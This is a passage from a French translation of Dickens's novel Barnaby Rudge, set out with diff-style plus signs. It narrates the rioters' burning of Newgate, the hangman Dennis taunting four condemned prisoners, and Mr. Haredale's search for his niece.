+Mais personne ne venait, personne ne répondait à ses cris. Ses
+cris mêmes lui faisaient craindre d'attirer sur lui l'attention,
+et il retombait dans le silence. De temps en temps, en regardant
+par la grille de sa fenêtre, il voyait une étrange clarté sur la
+muraille et sur le pavé de la cour; cette clarté, d'abord assez
+faible, augmenta insensiblement; c'était comme si des gardiens
+passaient et repassaient avec des torches sur le toit de la
+prison. Bientôt l'air était tout rouge, et des brandons enflammés
+venaient en tourbillonnant tomber à terre, éparpiller le feu sur
+le sol, et brûler tristement dans les coins. L'un d'eux roula sous
+un banc de bois et le mit en combustion. Un autre attrapa un tuyau
+et s'en vint tout du long grimper sur le mur, laissant derrière
+lui une longue traînée de feu. Le moment d'après, une pluie
+épaisse de flammèches commença à tomber petit à petit devant la
+porte, du haut de quelque partie voisine de la toiture,
+apparemment incendiée.
+
+Se rappelant que sa porte ouvrait en dehors, il reconnut que
+chaque étincelle qui venait tomber sur le tas et y éteindre sa
+force et sa vie, ne laissant en mourant qu'un sale atome de plus
+de cendre et de poussière, aidait à l'ensevelir là comme dans une
+tombe vivante. Et pourtant, quoique la prison retentît de clameurs
+et du cri: «Au secours!...» quoique le feu bondit dans l'air comme
+si chaque flamme détachée avait une vie de tigre, et mugit comme
+si chacune d'elles avait une voix affamée... quoique la chaleur
+commençât à devenir intense et l'air suffoquant, que le bruit
+allât croissant, que le danger de sa situation, ne fût-ce que de
+la part de l'élément impitoyable, devint à chaque instant plus
+menaçant... c'est égal, il avait peur de faire entendre de nouveau
+sa voix: la foule alors pourrait se porter par là et se diriger
+d'après le témoignage de ses oreilles ou les renseignements donnés
+par les autres prisonniers, du côté où il était détenu. C'est
+ainsi que, redoutant également les gens de la prison et les gens
+du dehors, le bruit et le silence, le jour et l'obscurité, entre
+la crainte d'être relâché et celle d'être abandonné là pour y
+mourir, il souffrait un supplice et des tortures si violentes, que
+jamais l'homme, dans le plus horrible caprice d'un pouvoir
+despotique et barbare, n'a pu infliger à l'homme un plus cruel
+châtiment que celui qu'il s'infligeait lui-même.
+
+Enfin, la porte était donc renversée. Alors les voilà qui se
+précipitent dans la prison, s'appelant les uns les autres dans les
+corridors voûtés; secouant les grilles de fer qui séparaient
+chaque cour; frappant à la porte des cellules et des gardiens,
+enfonçant serrures, gâches et verrous, arrachant les dormants,
+pour faire sortir par là les prisonniers; essayant de les tirer de
+vive force par des ouvertures et des croisées où un enfant
+n'aurait pas pu passer; poussant des huées et des hurlements à
+tout confondre; courant au travers de l'air embrasé et des
+flammes, comme des salamandres. Par les cheveux, par les jambes,
+par la tête, ils saisissaient les prisonniers pour les faire
+sortir. Il y en avait qui se jetaient sur les détenus à mesure
+qu'ils accouraient aux portes, pour essayer de limer leurs fers;
+d'autres qui dansaient autour d'eux avec une joie frénétique, qui
+leur déchiraient leurs vêtements, tout prêts, en vérité, dans leur
+folie, à leur écarteler les membres. Une douzaine d'assiégeants
+vint alors à percer dans la cour où l'assassin jetait des regards
+effrayés du haut de sa fenêtre obscure; cette bande tirait par
+terre un prisonnier dont ils avaient si bien déchiré les
+vêtements, qu'ils ne lui tenaient plus au corps, et qui était là
+sanglant et inanimé entre leurs mains. Plus loin, une vingtaine de
+prisonniers couraient çà et là, égarés dans la prison comme dans
+un labyrinthe, tellement effarouchés par le bruit et la lumière,
+qu'ils ne savaient que faire ni par où aller, criant toujours au
+secours comme avant, à tue-tête. Quelque malheureux affamé, qui
+s'était fait arrêter volant un pain ou un morceau de viande, se
+glissait à la dérobée et les pieds nus... s'échappant lentement,
+en voyant brûler sa maison, sans en avoir une autre prête à le
+recevoir, ni des amis prêts à lui tendre les bras, ni quelque
+ancien asile où chercher un gîte, ni d'autre liberté à recouvrer
+que la liberté de mourir de faim. Ailleurs, un groupe de voleurs
+de grandes routes s'en allait en troupe, sous la conduite des amis
+qu'ils avaient dans la foule, et qui, le long du chemin, leur
+enveloppaient leurs menottes de mouchoirs ou de cordes de foin
+pour les cacher, jetaient sur eux des manteaux et des redingotes,
+leur donnaient à boire, en leur tenant la bouteille contre les
+lèvres, parce qu'ils n'avaient pas de temps à perdre à briser les
+fers de leurs mains. Tout cela, Dieu sait avec quel accompagnement
+de bruit, de précipitation, de confusion! C'était pis qu'un
+mauvais rêve, et sans relâche, sans intervalle même d'un seul
+instant de repos.
+
+Il était encore à regarder ce spectacle du haut de sa fenêtre,
+quand une bande de gens avec des torches, des échelles, des
+haches, des armes de toute espèce, s'élança dans la cour et,
+frappant à la porte à coups de marteau, demanda s'il y avait là
+dedans un prisonnier. En les voyant venir, il avait quitté la
+croisée pour se blottir dans le coin le plus reculé de sa cellule;
+mais il eut beau ne point leur répondre, comme ils s'étaient mis
+dans l'idée qu'il y avait quelqu'un, ils dressèrent leurs échelles
+et commencèrent à arracher les barreaux de sa fenêtre, et, non
+contents de cela, à faire tomber jusqu'aux pierres de la muraille.
+
+Aussitôt qu'ils eurent fait une brèche assez large pour y passer
+la tête, l'un d'eux y jeta une torche et regarda tout autour de la
+chambre. Lui, il suivit le regard de l'inconnu, jusqu'à ce qu'il
+s'arrêta sur lui, et qu'il l'entendit lui demander pourquoi il
+n'avait pas répondu; mais il n'ouvrit pas la bouche.
+
+Dans ce trouble et cette stupéfaction générale, ils n'en furent
+pas surpris. Sans dire un mot de plus, ils élargirent la brèche de
+manière à y passer le corps d'un homme, et alors ils sautèrent par
+là sur le plancher, l'un après l'autre, jusqu'à ce qu'il n'y eût
+plus de place dans la cellule. Ils le prirent avec eux, le
+passèrent par la fenêtre à ceux qui se tenaient sur les échelles,
+et qui le passèrent à leur tour jusque dans la cour. Alors ils
+sortirent l'un après l'autre, et, lui ayant bien recommandé de se
+sauver sans perte de temps, parce que, autrement, il trouverait le
+passage obstrué, ils se précipitèrent ailleurs pour en sauver
+d'autres.
+
+Il lui semblait que tout cela n'avait pas duré plus d'une minute.
+Il chancelait sur ses jambes, sans pouvoir croire encore que ce
+fût vrai, lorsque la cour se remplit de nouveau d'une multitude
+empressée qui emmenait avec elle Barnabé. En une minute encore,
+peut-être moins; à peine une minute; au même instant; sans
+intervalle de temps... lui et son fils étaient passés de main en
+main à travers la foule épaisse amassée dans la rue, et jetaient
+derrière eux un coup d'oeil sur une masse de feu: quelqu'un leur
+dit que c'était là Newgate.
+
+Dès le moment où ils avaient commencé à entrer dans la prison, les
+assiégeants s'étaient dispersés dans diverses directions,
+s'élançant comme une fourmilière par chaque trou et chaque
+crevasse, comme s'ils avaient une parfaite connaissance des
+réduits les plus secrets, et qu'ils portassent dans leur tête un
+plan exact des bâtiments. Il est vrai qu'ils devaient en grande
+partie cette connaissance immédiate de la place au bourreau qui se
+tenait dans le couloir, disant à l'un d'aller par ici, à l'autre
+de tourner par là, et qui leur fut d'un grand secours pour la
+merveilleuse rapidité avec laquelle fut opérée la délivrance des
+prisonniers.
+
+Mais ce fonctionnaire légal tenait en réserve un petit bout de
+renseignement important qu'il gardait précieusement pour lui-même.
+Quand il eut distribué ses instructions relatives aux diverses
+parties de l'établissement, que la populace se fut dispersée d'un
+bout à l'autre, et qu'il la vit sérieusement à la besogne, il prit
+dans un placard du mur voisin un trousseau de clefs, et s'en alla,
+par un corridor particulier tout près de la chapelle, qui joignait
+la maison du gouverneur, et se trouvait alors en proie à
+l'incendie, rendre visite aux cellules de condamnés. C'était une
+série de petites chambres lugubres et bien défendues, donnant sur
+une galerie basse, protégée, du côté où il entra, par un fort
+guichet en fer, et à l'autre bout par deux portes et une grille
+épaisse. Il ferma par-dessus lui le guichet à double tour, et,
+après s'être bien assuré que les autres entrées étaient également
+solidement fermées, il s'assit sur un banc dans la galerie, et se
+mit à sucer la tête de sa canne avec un air de complaisance, de
+calme et de satisfaction extrêmes.
+
+C'eût été déjà bien étrange de voir un homme se donner ce genre de
+plaisir avec tant de tranquillité, pendant que la prison était en
+feu et au milieu du tumulte qui déchirait l'air, quand il aurait
+été hors de l'enceinte des murs. Mais ici, au coeur même du
+bâtiment, et, de plus, assourdi par les prières et les cris des
+quatre condamnés dont les mains, étendues à travers le grillage
+des portes de leurs cellules, se serraient avec frénésie sous ses
+yeux pour implorer son aide, c'était une particularité bien
+remarquable. C'est que, voyez-vous, M. Dennis s'était dit
+apparemment que ce n'était pas tous les jours fête, et qu'il ne
+fallait pas perdre cette bonne occasion de rire un peu à leurs
+dépens. En effet, il s'était planté son chapeau sur le coin de
+l'oreille, en vrai farceur, et suçait la tête de sa canne avec
+délice, de plus en plus charmé et souriant, comme s'il se disait
+en lui-même: «Dennis, Dennis, vous êtes un chien de vaurien: le
+drôle de corps que vous faites! Il n'y en a pas deux comme vous au
+monde: vous êtes un vrai original.»
+
+Il resta comme cela sur son banc quelques minutes, pendant que les
+quatre misérables dans leurs cellules, certains d'avoir entendu
+entrer dans la galerie quelqu'un qu'ils ne pouvaient pas voir,
+éclataient en prières aussi pathétiques et aussi pitoyables qu'on
+pouvait s'y attendre de la part de malheureux dans leur position;
+suppliant l'inconnu, quel qu'il fût, de les mettre en liberté, au
+nom du ciel! et protestant, avec une ferveur qui pouvait être
+vraie dans la circonstance, qu'ils s'amenderaient, et qu'ils ne
+feraient plus jamais, jamais, jamais, le mal devant Dieu et devant
+les hommes, qu'ils mèneraient, au contraire, une vie honnête et
+pénitente, pour réparer par leur chagrin et leur repentir les
+crimes qu'ils avaient commis. L'énergie terrible de leur langage
+aurait ému le premier venu. Bon ou mauvais, juste ou injuste (s'il
+eût été possible qu'on homme bon et juste fût égaré là cette
+nuit), personne, non personne n'aurait pu s'empêcher de les
+délivrer, et, laissant à d'autres le soin de leur trouver une
+autre punition, personne ne se serait refusé à les sauver de cette
+peine terrible et répugnante qui n'a jamais ramené au bien une âme
+portée au mal, et qui en a endurci des milliers naturellement
+peut-être portées au bien.
+
+M. Dennis, qui avait été, lui, élevé et nourri dans les principes
+de notre bonne vieille école, et qui avait administré nos bonnes
+vieilles lois d'après notre bon vieux système, toujours au moins
+une fois ou deux par mois, et cela depuis longtemps, supportait
+tous ces appels à sa pitié en véritable philosophe. À la fin
+pourtant, comme ces cris répétés le troublaient dans sa
+jouissance, il frappa avec sa canne à l'une des portes en criant:
+
+«Dites-moi, voulez-vous me faire le plaisir de vous taire?»
+
+Là-dessus, ils se mirent tous à vociférer qu'ils allaient être
+pendus le surlendemain, et renouvelèrent leurs supplications pour
+obtenir son aide.
+
+«Mon aide! pourquoi faire? dit M. Dennis, s'amusant à cogner sur
+les doigts de la main qui se trouvait à la grille de la cellule la
+plus voisine.
+
+-- Pour nous sauver, crièrent-ils.
+
+-- Oh! certainement, dit M. Dennis en clignant de l'oeil au mur en
+face, faute d'avoir un autre compagnon à qui faire partager sa
+belle humeur de cette plaisanterie goguenarde. Et vous disiez
+donc, camarades, qu'on doit vous exécuter?
+
+-- Si nous ne sommes pas relâchés ce soir, cria l'un d'eux, nous
+sommes des hommes morts.
+
+-- Tenez, je vais vous dire ce que c'est, reprit le bourreau
+gravement. J'ai peur, mon ami, que vous ne soyez pas dans cet état
+d'esprit qui convient à votre condition, d'après ce que je vois.
+On ne vous relâchera pas, ne comptez pas là-dessus... Voulez-vous
+finir ce tapage indécent? Je m'étonne que vous ne soyez pas
+honteux: moi, je le suis pour vous.»
+
+Il accompagna ce reproche d'un bon coup de canne sur les dix
+doigts de chaque cellule, l'une après l'autre, après quoi il alla
+reprendre son siège d'un air enchanté.
+
+«Comment! vous avez des lois? dit-il en se croisant les jambes et
+en relevant ses sourcils; vous avez des lois faites pour vous tout
+exprès; une jolie prison faite pour vous tout exprès; un prêtre
+pour votre service tout exprès; un officier constitutionnel nommé
+pour vous tout exprès; une charrette entretenue pour vous tout
+exprès... et vous n'êtes pas encore contents!... Voulez-vous bien
+cesser votre tapage, vous, monsieur, tout là-bas?»
+
+Un gémissement fut toute la réponse.
+
+«Autant que je puis croire, dit M. Dennis d'un ton demi-badin,
+demi-fâché, il n'y a pas un seul nomme parmi vous. Je commence à
+croire que j'ai pris un côté pour l'autre, et que je suis ici chez
+les dames. Et pourtant, pour ce qui est de ça, j'ai vu bien des
+dames faire bonne mine à mauvais jeu d'une manière tout à fait
+honorable pour le sexe... Dites donc, numéro deux, ne grincez donc
+pas des dents comme ça. Jamais, continua le bourreau en frappant
+la porte avec sa canne, jamais je n'ai vu ici de si mauvaises
+manières jusqu'à ce jour. Tenez! vous me faites rougir; vous
+déshonorez Bailey.»
+
+Après avoir attendu un moment quelque justification en réponse,
+M. Dennis reprit d'un ton câlin:
+
+«Faites bien attention tous les quatre. Je suis venu ici pour
+prendre soin de vous et pour veiller à ce que vous ne soyez pas
+brûlés, au lieu de l'autre chose. Vous n'avez pas besoin de faire
+tant de bruit, parce que vous ne serez pas trouvés par ceux qui
+ont forcé la prison; vous ne ferez que vous égosiller inutilement.
+La belle avance, si vous perdez la voix quand il vous faudra en
+venir au fameux speech, vous savez! ce serait grand dommage. C'est
+ce que je ne cesse de leur dire toujours pour le speech de la fin:
+«Donnez-moi un bon tour de gueule, c'est ma maxime: donnez-moi un
+bon tour de gueule.» C'est moi qui en ai entendu, continua le
+bourreau, ôtant son chapeau pour prendre son mouchoir dans la
+coiffe et s'en essuyer la face, et se recoiffant après d'un air un
+peu plus crâne encore, c'est moi qui en ai entendu, de l'éloquence
+sur le plancher!... vous savez bien le plancher dont je veux vous
+parler!... C'est moi qui en ai entendu de fameux tours de gueule
+en manière de speechs, qui étaient aussi clairs qu'une cloche, et
+aussi réjouissants qu'une vraie comédie! À la bonne heure! parlez-
+moi de ça. Quand la chose est de nature à vous amener à l'endroit
+où est marquée ma place, voilà ce que j'appelle une disposition
+d'esprit décente. Prenons donc, s'il vous plaît, une disposition
+d'esprit décente, je puis même dire honorable, agréable, sociable.
+Quoi que vous fassiez (et c'est à vous en particulier que je
+m'adresse, dites donc là-bas, numéro quatre), ne pleurnichez
+jamais. J'aimerais cent fois mieux, quoique je ne parle pas là
+dans mon intérêt, voir un homme déchirer exprès ses habits devant
+moi pour me gâter mes profits, que de le voir pleurnicher. C'est
+toujours, au bout du compte, une disposition d'esprit bien plus
+décente.»
+
+Pendant que le bourreau leur tenait ce langage du ton paterne d'un
+pasteur en conversation familière avec son troupeau, le bruit
+s'était un peu apaisé, parce que les émeutiers étaient occupés à
+transporter les prisonniers à Sessions-House, située en dehors des
+murs d'enceinte de la prison, quoiqu'elle en fût une dépendance,
+et à les faire passer de là dans la rue. Mais au moment où il en
+était là de ses admonitions bénévoles, le bruit des voix dans la
+cour prouva clairement que la populace était revenue de ce côté
+sur ses pas, et aussitôt après une violente secousse à la grille
+d'en bas annonça qu'ils voulaient finir par une attaque contre les
+Cellules: c'était le nom qu'on donnait à cette partie de la
+prison.
+
+C'est en vain que le bourreau courait de porte en porte, couvrant
+les guichets l'un après l'autre avec son chapeau, et se consumant
+en efforts inutiles pour étouffer les cris des quatre prisonniers.
+C'est en vain qu'il repoussait leurs mains étendues, les frappait
+de sa canne ou les menaçait d'ajouter par surcroît pour les punir
+quelque douleur de plus à leur exécution, quand il en serait
+chargé, et de les faire languir pour la peine, cela ne les
+empêchait pas de faire retentir la maison de leurs cris. Au
+contraire, stimulés par l'assurance où ils étaient qu'il n'y avait
+plus qu'eux maintenant sous les verrous, ils pressaient les
+assiégeants avec tant d'insistance que ceux-ci, avec une célérité
+incroyable, forcèrent la forte grille d'en bas, formée de barreaux
+en fer de deux pouces carrés, renversèrent les deux autres portes,
+comme si c'eussent été des cloisons de bois blanc, et apparurent
+au bout de la galerie, séparés seulement des Cellules par un ou
+deux barreaux.
+
+«Holà! cria Hugh, qui fut le premier à plonger les yeux dans le
+corridor sombre. C'est Dennis que je vois là! C'est bien fait, mon
+vieux. Dépêche-toi de nous ouvrir; sans quoi nous allons être
+suffoqués par la fumée en nous en allant.
+
+-- Vous n'avez qu'à vous en aller tout de suite, dit Dennis
+Qu'est-ce que vous venez chercher ici?
+
+-- Chercher! répéta Hugh. Eh bien! et les quatre hommes?
+
+-- Dis donc les quatre diables! cria le bourreau. Est-ce que vous
+ne savez pas bien qu'ils restent là pour être pendus mardi? Est-ce
+que vous n'avez plus aucun respect pour la loi et la
+constitution... rien du tout? Laissez ces quatre hommes
+tranquilles.
+
+-- Allons! nous n'avons pas le temps de rire, cria Hugh. Ne les
+entendez-vous pas? Retirez ces barres qui sont là fixées entre la
+porte et le plancher, et laissez-nous entrer.
+
+-- Camarade, dit le bourreau à voix basse, en se baissant pour
+n'être pas entendu des autres, sous prétexte de faire ce que Hugh
+désirait, mais ne le quittant pas des yeux; ne peux-tu pas bien me
+laisser ces quatre hommes à ma discrétion, si c'est mon caprice
+comme ça? Tu fais bien ce que tu veux, toi; tu te fais en toute
+chose la part que tu veux... eh bien! moi, voilà ma part que je te
+demande. Je te le répète, laisse-moi ces quatre hommes-là
+tranquilles, je n'en veux pas davantage.
+
+-- Voyons, à bas les barreaux, ou laisse-nous passer, fut la
+réponse de Hugh.
+
+-- Tu sais bien, reprit doucement le bourreau, que tu peux
+remmener ce monde-là, si ça te convient. Comment! tu veux
+décidément entrer?
+
+-- Oui.
+
+-- Tu ne laisseras pas ces quatre hommes-là tranquilles, à ma
+discrétion? Tu n'as donc de respect pour rien... hein? continua le
+bourreau en opérant sa retraite par où il était entré, et
+regardant son compagnon d'un air sombre. Tu veux entrer, camarade,
+tu le veux?
+
+-- Quand je te dis que oui. Que diable! qu'est-ce que tu as
+donc?... Où veux-tu aller?
+
+-- Je vais où je veux, ça ne te regarde pas, répliqua le bourreau,
+jetant encore du guichet de fer où il était, et qu'il tenait
+entrebâillé, un regard dans la galerie, avant de le fermer sur lui
+tout à fait. Ne t'inquiète pas où je vais; mais fais attention où
+tu cours: tu t'en souviendras. Je ne t'en dis pas davantage.»
+
+Là-dessus, il secoua d'un air menaçant du côté de Hugh son
+portrait sculpté sur sa canne, et, lui faisant une grimace encore
+moins aimable que son sourire habituel, il ferma la porte et
+disparut.
+
+Hugh ne perdit pas de temps. Stimulé à la fois par les cris des
+condamnés et par l'impatience de la foule, il recommanda au
+camarade qui était immédiatement derrière lui (il n'y avait de
+place que pour un homme de front), de reculer un peu pour ne pas
+attraper de mal, et brandit avec tant de force un marteau de
+forge, qu'en quatre coups il fit ployer et rompre le barreau, qui
+leur livra passage.
+
+Si les deux fils du prisonnier dont nous avons parlé déployaient
+déjà auparavant un zèle qui allait jusqu'à la fureur, on peut
+juger à présent de leur vigueur et de leur rage; ce n'étaient plus
+des hommes, c'étaient des lions. Après avoir prévenu le prisonnier
+renfermé dans chaque cellule de se reculer de la porte aussi loin
+qu'il pourrait, pour ne pas se faire blesser par les coups de
+hache qu'ils allaient donner dans la porte, ils se divisèrent en
+quatre groupe; pour peser sur elle chacun de leur côté, et
+l'enfoncer de vive force en faisant sauter gâches et verrous.
+Mais, quoique la bande où se trouvaient ces deux jeunes gens ne
+fût pas la plus forte, il s'en faut; quoiqu'elle fût la plus mal
+armée, et qu'elle n'eût commencé qu'après les autres, c'est leur
+porte qui céda la première, et leur homme qui fut le premier
+délivré. Quand ils l'entraînèrent dans la galerie pour briser ses
+fers, il tomba à leurs pieds, comme un vrai tas de chaînes, et on
+l'emporta dans cet état sur les épaules de ses libérateurs sans
+qu'il donnât signe de vie.
+
+Ce fut là le couronnement de cette scène d'horreur; ce fut la mise
+en liberté de ces quatre misérables, traversant en pareille
+escorte, d'un air égaré, abasourdi, les rues pleines d'agitation
+et de vie, qu'ils n'avaient plus espéré revoir jamais, avant le
+jour où on viendrait les arracher à la solitude et au silence pour
+leur dernier voyage, le jour où l'air serait chargé du souffle
+infect de milliers de poitrines haletantes, où les rues et les
+maisons ne seraient plus bâties et recouvertes de briques, de
+moellons et de tuiles, mais de faces humaines étagées les unes au-
+dessus des autres. À voir en ce moment leur figure pâle, leurs
+yeux creux et hagards, leurs pieds chancelants, leurs mains
+étendues en avant pour ne pas tomber, leur air égaré, la manière
+dont ils ouvrirent la bouche béante pour respirer comme s'ils se
+noyaient, la première fois qu'ils plongèrent dans la foule, on
+reconnaissait bien que ce ne pouvaient être qu'eux. Il n'y avait
+pas besoin de dire: «Vous voyez bien cet homme-là, il était
+condamné à mort;» il portait hautement ces mots-là imprimés et
+marqués du fer rouge sur son front. Le monde se retirait devant
+eux pour les laisser passer, comme si c'étaient des déterrés qui
+venaient de ressusciter avec leurs linceuls; et l'on vit plus d'un
+spectateur qui venait, par hasard, de toucher ou de frôler leurs
+vêtements à leur passage, frissonner de tous ses membres, comme si
+c'étaient en effet de vrais morts.
+
+Sur l'ordre de la populace, les maisons furent toutes illuminées
+cette nuit-là... avec des lampions, du haut en bas, comme dans un
+jour de grande réjouissance publique. Bien des années après, les
+vieilles gens, qui, dans leur jeunesse, habitaient ce quartier, se
+rappelaient à merveille cette clarté immense en dedans comme en
+dehors, et l'effroi avec lequel ils regardaient, petits enfants,
+par la fenêtre passer _la Figure_. La foule, l'émeute avec toutes
+les autres terreurs, s'étaient déjà presque évanouies de leur
+souvenir, que celui-là, celui-là seul et unique, était encore
+distinct et vivant dans leur mémoire. Même à cet âge innocent de
+la première enfance, il suffisait d'avoir vu un seul instant un de
+ces condamnés passer comme un dard, pour que cette image suprême
+dominât, obscurcît toutes les autres, absorbât l'esprit tout
+entier, et ne le quittât plus jamais.
+
+Quand ce beau chef-d'oeuvre fut achevé, les cris et les clameurs
+devinrent de plus en plus faibles; le cliquetis des chaînes qui
+retentissait de tous côtés au moment où les prisonniers s'étaient
+échappés ne se fit plus entendre. Tout le tapage de la foule se
+changea en un murmure vague et sourd comme dans le lointain; et,
+quand ce débordement de flots humains se fut retiré, il ne resta
+plus qu'un triste monceau de ruines fumantes, pour marquer la
+place qui venait d'être le théâtre du tumulte et de l'incendie.
+
+
+
+
+CHAPITRE XXIV.
+
+
+Quoiqu'il n'eût pas eu de repos la nuit précédente, et qu'il eut
+veillé presque sans relâche depuis quelques semaines, ne dormant
+que dans le jour et à bâtons rompus, M. Haredale, depuis l'aube du
+matin jusqu'au coucher du soleil, cherchait sa nièce partout où il
+pouvait croire qu'elle eût cherché un refuge. Tout le long du
+jour, rien, pas une goutte d'eau, ne passait ses lèvres; il avait
+beau poursuivre ses recherches au loin, de tous côtés, il ne
+s'était seulement pas assis... pas une fois.
+
+Tous les quartiers qu'il pouvait imaginer, et Chickwell, et
+Londres, et les maisons des artisans et commerçants à qui il avait
+affaire, et toutes ses connaissances, il n'avait rien négligé dans
+ses courses laborieuses. En proie à l'anxiété la plus harassante,
+aux appréhensions les plus pénibles, il allait de magistrat à
+magistrat, jusqu'au secrétaire d'État même. C'est de ce ministre
+seulement qu'il reçut un peu de consolation. «Le gouvernement, lui
+dit-il, poussé par les factieux jusqu'aux dernières prérogatives
+de la couronne, était déterminé à en faire usage; on allait
+probablement publier le lendemain une proclamation qui donnerait à
+la force armée un pouvoir discrétionnaire et illimité pour la
+répression de l'émeute. Les sympathies du roi, de l'administration
+et des deux chambres du parlement, comme aussi certainement des
+honnêtes gens de toutes les sectes religieuses, étaient acquises
+aux catholiques persécutés; et on était résolu à leur faire
+justice à tout risque et à tout prix.» Il l'assura de plus que
+d'autres personnes, dont on avait incendié les maisons, avaient
+aussi pendant quelque temps perdu la trace de quelque enfant ou de
+quelque parent, qu'ils avaient toujours, à sa connaissance, fini
+par retrouver; qu'on ne perdrait pas de vue sa déclaration, qu'on
+la recommanderait particulièrement dans les instructions
+transmises aux chefs de la police et à ses plus infimes agents;
+qu'on ne négligerait rien de ce qu'on pourrait faire en sa faveur,
+et qu'on y apporterait toute la bonne volonté et la constance
+qu'il avait droit d'espérer.
+
+Reconnaissant de ces bonnes paroles, quelque peu rassurantes que
+fussent ses démarches antérieures, et sans se faire illusion sur
+l'espérance qu'il en devait concevoir pour le sujet de peine dont
+son coeur était dévoré, remerciant pourtant le ministre du fond du
+coeur pour l'intérêt qu'il lui témoignait dans son malheur et
+qu'il paraissait si bien ressentir, M. Haredale se retira. Il se
+trouva, à l'entrée de la nuit, seul dans les rues, sans savoir
+seulement où aller reposer sa tête.
+
+Il entra dans un hôtel près de Charing-Cross, pour demander
+quelque rafraîchissement et un lit. Il s'aperçut que son air
+fatigué et abattu attirait l'attention de l'aubergiste et de ses
+serviteurs. Il eut l'idée que peut-être on supposait qu'il n'avait
+pas le sou; il tira sa bourse et la mit sur la table. «Ce n'est
+pas cela, lui dit l'aubergiste d'une voix troublée.» Il craignait
+seulement que monsieur ne fût une des victimes de l'émeute, auquel
+cas il n'oserait risquer de le recevoir chez lui. Il était père de
+famille, et il avait déjà reçu deux avertissements de prendre
+garde aux hôtes qu'il admettrait dans son hôtel. Il en était bien
+fâché, et il en demandait bien pardon à monsieur, mais il ne
+pouvait faire autrement.
+
+Non. M. Haredale le sentait mieux que personne; c'est ce qu'il lui
+dit en quittant sa maison.
+
+Comprenant qu'il aurait dû s'y attendre, d'après ce qu'il avait vu
+le matin à Chigwell, où pas un homme n'avait osé toucher à une
+bêche, en dépit de ses offres libérales, pour venir fouiller les
+ruines de sa maison, il prit par le Strand, trop fier pour
+s'exposer encore à un refus, et d'un esprit trop généreux pour
+vouloir envelopper dans son chagrin ou sa ruine quelque honnête
+commerçant qui aurait été assez faible pour lui donner asile. Il
+errait donc dans une des rues parallèles à la Tamise, marchant au
+hasard, d'un air soucieux, et pensant à des choses bien anciennes
+dans son souvenir, quand il entendit un domestique crier à un
+autre en face, par la fenêtre, que la populace était en train de
+mettre le feu à Newgate.
+
+À Newgate! où était son homme! Sa force défaillante lui revint, et
+son énergie, sur le moment, fut dix fois plus puissante que
+jamais. Quoi! se pourrait-il faire... S'ils allaient délivrer
+l'Assassin... et que lui, Haredale, après tout ce qu'il avait déjà
+souffert, finit par mourir sans avoir pu se laver du soupçon
+d'avoir égorgé son frère!
+
+Sans savoir seulement qu'il se dirigeait vers la prison, il ne
+s'arrêta que quand il fut en face d'elle. La foule y était en
+effet, serrée et pressée en une masse épaisse, sombre, mouvante;
+et on voyait les flammes prendre leur essor dans les airs. La tête
+lui tournait, mille lumières dansaient devant ses yeux, et il se
+débattait contre deux hommes qui arrêtaient son élan.
+
+«Non, non, disait l'un; possédez-vous, mon bon monsieur. Nous
+attirons ici l'attention. Allons-nous-en. Qu'est-ce que vous
+voulez faire dans tout ce monde-là?
+
+-- C'est égal, le gentleman est pour qu'on fasse quelque chose,
+dit l'autre, l'entraînant tout en parlant. Je lui sais toujours
+gré de ça; je lui en sais bon gré.»
+
+Pendant ce temps-là ils avaient gagné une cour près de là, tout à
+fait à côté de la prison. Lui, il les regardait tour à tour, et,
+en essayant de se remettre, il sentit qu'il n'était pas bien ferme
+sur ses jambes. Le premier qui lui avait parlé était le vieux
+gentleman qu'il avait vu chez le lord-maire; l'autre était John
+Grueby, qui l'avait si bravement soutenu à Westminster.
+
+«Qu'est-ce que cela veut dire? demanda-t-il d'une voix
+défaillante. Où donc nous sommes-nous rencontrés?
+
+-- Derrière la foule, répondit le distillateur; mais venez avec
+nous. Je vous en prie, venez avec nous. Il me semble que vous
+connaissez mon ami que voilà?
+
+-- Certainement, dit M. Haredale, le regardant avec une sorte de
+stupeur.
+
+-- Eh bien! il vous dira, reprit le vieux gentleman, que je suis
+un homme à qui vous pouvez vous fier. Il me connaît, c'est mon
+domestique. Il était ci-devant (comme vous savez, je crois) au
+service de lord Georges Gordon; mais il l'a quitté, et, par pur
+intérêt pour moi et quelques autres victimes désignées de
+l'émeute, il est venu me donner les renseignements qu'il a pu
+recueillir sur les desseins de ces misérables.
+
+-- C'est vrai, monsieur, dit John, mettant la main à son chapeau;
+mais vous savez, à une condition: c'est que vous ne porterez pas
+témoignage contre milord... Un homme égaré, monsieur; mais au fond
+un bon homme. Ce n'est pas milord qui a jamais conduit ces
+complots.
+
+-- C'est une condition que j'observerai, vous pouvez en être sûr,
+répliqua le vieux distillateur. Je vous le garantis sur mon
+honneur. Mais venez avec nous, monsieur, je vous en prie, venez
+avec nous.»
+
+John Grueby, sans joindre ses instances à celles de son maître,
+adopta un autre moyen de persuasion plus direct, en passant son
+bras dans celui de M. Haredale, pendant que son maître en faisait
+autant de son côté, et en l'emmenant au plus tôt.
+
+M. Haredale, à l'étrange égarement de sa tête, et à la difficulté
+qu'il éprouvait à fixer ses idées, tellement qu'il ne pouvait se
+rappeler ses nouveaux compagnons deux minutes de suite sans les
+regarder tour à tour, sentit qu'il avait le cerveau troublé par
+l'agitation et la souffrance qui l'avaient assailli depuis quelque
+temps, et auxquelles il était encore en proie: il se laissa donc
+emmener où ils voulaient. Tout le long du chemin, il avait le
+sentiment qu'il ne savait plus ce qu'il disait ni ce qu'il
+faisait, et qu'il avait peur de devenir fou.
+
+Le distillateur demeurait, comme il le lui avait déjà dit lors de
+leur première rencontre, à Holborn-Hill, où il avait de vastes
+magasins, et où il faisait son commerce sur une grande échelle.
+Ils pénétrèrent chez lui par une porte de derrière, pour ne pas
+attirer l'attention de la foule, et montèrent dans une chambre sur
+le devant. Cependant les fenêtres en étaient, comme toutes celles
+de la maison, fermées au volet, pour qu'à l'extérieur tout parût
+dans l'obscurité.
+
+Ils le placèrent là sur un sofa, tout à fait sans connaissance.
+Mais, John ayant couru tout de suite chercher un chirurgien qui
+lui fit une copieuse saignée, il reprit graduellement ses sens.
+Comme il était, pour le moment, trop faible pour marcher, ils
+n'eurent pas de peine à lui persuader de passer là la nuit, et le
+mirent au lit sans perdre une minute. Cela fait, ils lui firent
+prendre un cordial et un biscuit avec une bonne potion
+fortifiante, dont l'influence le plongea bientôt dans une
+léthargie où il oublia un instant toutes ses peines.
+
+Le négociant en vins, qui était un vieillard plein de coeur, et
+tout à fait un digne homme, n'avait pas la moindre envie de se
+coucher lui-même, car il avait reçu des émeutiers plusieurs
+avertissements menaçants, et, s'il était sorti ce soir-là, c'était
+précisément pour tâcher de savoir, dans les conversations de la
